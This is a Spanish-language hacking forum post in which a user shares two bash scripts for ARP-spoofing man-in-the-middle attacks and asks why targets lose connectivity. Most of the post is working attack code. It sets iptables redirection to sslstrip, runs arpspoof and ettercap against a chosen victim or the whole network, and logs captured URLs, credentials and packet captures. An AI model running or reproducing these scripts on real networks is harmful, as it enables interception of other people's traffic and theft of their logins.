Foro de elhacker.net

Seguridad Informática => Hacking => Mensaje iniciado por: luza en 18 Diciembre 2012, 05:42 am



Título: ARPSPOOF me deja sin conexion a internet
Publicado por: luza en 18 Diciembre 2012, 05:42 am
Hola, Me sucede el siguiente problema aver si alguno me puede ayudar cuando ejecuto el siguiente script que hice recopilando cosas que lei :
Código:
#!/bin/bash


INTERFAZ_DE_RED=$(ifconfig | grep eth | awk '{print $1}')
IP_VICTIMA=$1
IP_ROUTER=$2

#es un archivo que hice para descomentar el etter.conf original
cat etter.conf > /etc/etter.conf

echo 1 > /proc/sys/net/ipv4/ip_forward

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-ports 10000

sslstrip -a -k -f &


gnome-terminal -e "arpspoof -i $INTERFAZ_DE_RED -t $IP_VICTIMA $IP_ROUTER" &


gnome-terminal -e "ettercap -T -q -i $INTERFAZ_DE_RED"



si lo hago desde una maquina virtual a mi maquina original o a otra virtual funciona perfectamente logro el ARPSPOOF pero si lo realizo a una maquina que esta en la red la dejo sin internet y no se por que pasa eso si en mi maquina funciona se supone que aunque sea una maquina virtual es lo mismo.


probe con este script que encontre
Código:
#!/bin/bash

echo -n "Do you want to execute Wireshark when done? If yes, LEAVE BLANK "
read -e NOYES
echo -n "Do you want to extract pictures from the pcap via tcpxtract? If yes, LEAVE BLANK "
read -e XTRACT
echo -n "What interface to use? ie wlan0: "
read -e IFACE
echo -n "Name of "Session"? (name of the folder that will be created with all the log files): "
read -e SESSION
echo -n "Gateway IP - LEAVE BLANK IF YOU WANT TO ARP WHOLE NETWORK: "
read -e ROUTER
echo -n "Target IP - LEAVE BLANK IF YOU WANT TO ARP WHOLE NETWORK: "
read -e VICTIM

mkdir /root/$SESSION/
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
sslstrip -p -k -w /root/$SESSION/$SESSION.log &
iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 10000
urlsnarf -i $IFACE | grep http > /root/$SESSION/$SESSION.txt &
ettercap -T -i $IFACE -w /root/$SESSION/$SESSION.pcap -L /root/$SESSION/$SESSION -M arp /$ROUTER/ /$VICTIM/
"$XTRACT"tcpxtract -f /root/$SESSION/$SESSION.pcap
"$NOYES"wireshark &
killall sslstrip
killall python
killall urlsnarf
iptables --flush
iptables --table nat --flush
iptables --delete-chain
iptables --table nat --delete-chain
etterlog -p -i /root/$SESSION/$SESSION.eci
pero me sucede lo mismo no se como solucionarlo.